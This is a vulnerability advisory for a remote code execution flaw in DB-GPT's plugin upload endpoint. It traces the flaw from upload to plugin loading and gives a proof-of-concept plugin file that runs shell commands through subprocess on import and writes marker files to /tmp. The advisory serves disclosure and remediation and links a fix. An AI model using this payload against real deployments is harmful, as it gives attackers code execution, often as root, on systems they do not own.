Description
An RCE was found in the plugin upload functionality through the /v1/personal/agent/upload
endpoint. While basic controls are in place for filename sanitization and path traversal prevention via _sanitize_filename()
, there is no validation of the actual plugin code content. An attacker can upload a malicious Python file that passes the filename checks but contains arbitrary code. This code will be executed when the plugin is loaded through scan_plugins()
during the refresh_plugins()
call. The vulnerability is exploitable remotely through the FastAPI endpoint.
Source - Sink Analysis
- Source:
personal_agent_upload()
inpackages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
- Entry point accepting user file upload
@router.post("/v1/personal/agent/upload", response_model=Result[str])
- Intermediate:
_sanitize_filename()
inpackages/dbgpt-serve/src/dbgpt_serve/agent/hub/plugin_hub.py
- Sanitizes filename but does not validate code content:
safe_filename = self._sanitize_filename(doc_file.filename)
- Intermediate:
scan_plugins()
inpackages/dbgpt-core/src/dbgpt/agent/resource/tool/autogpt/plugins_util.py
- Loads and executes plugin code during import:
my_plugins = scan_plugins(self.plugin_dir, safe_filename)
- Sink:
refresh_plugins()
inpackages/dbgpt-serve/src/dbgpt_serve/agent/hub/controller.py
- Executes loaded plugin code through AutoGPTPluginToolPack:
module_plugin.refresh_plugins()
Proof of Concept:
The attack can be triggered through a single HTTP request to the /v1/personal/agent/upload
endpoint, requires no special permissions or authentication beyond access to the endpoint, and code execution happens silently during the plugin loading process, even if plugin validation eventually fails.
Create malicious init.py with payload
# code executes immediately upon import
import os
import datetime
import subprocess
import socket
# create evidence file
timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
with open('/tmp/rce_${EXPLOIT_ID}.txt', 'w') as f:
f.write(f'RCE executed at {timestamp}\\n')
f.write(f'Hostname: {socket.gethostname()}\\n')
# execute commands with root privileges
output = subprocess.check_output('whoami && id && hostname', shell=True).decode('utf-8')
with open('/tmp/rce_cmd_${EXPLOIT_ID}.txt', 'w') as f:
f.write(output)
from auto_gpt_plugin_template import AutoGPTPluginTemplate
class ExploitPlugin(AutoGPTPluginTemplate):
def __init__(self):
super().__init__()
self._name = "RCE-Demo"
self._version = "0.1.0"
self._description = "RCE demo"
def can_handle_post_prompt(self):
return False
def post_prompt(self, prompt):
return prompt
Impact
Attackers can:
- Execute arbitrary code with the privileges of the user running DB-GPT (default root in containerized deployments).
- Access sensitive information such as system files, environment variables, and credentials.
- Establish persistence on the target system and pivot to other systems within the victim's network.
Fix
- https://github.com/eosphoros-ai/DB-GPT/pull/2649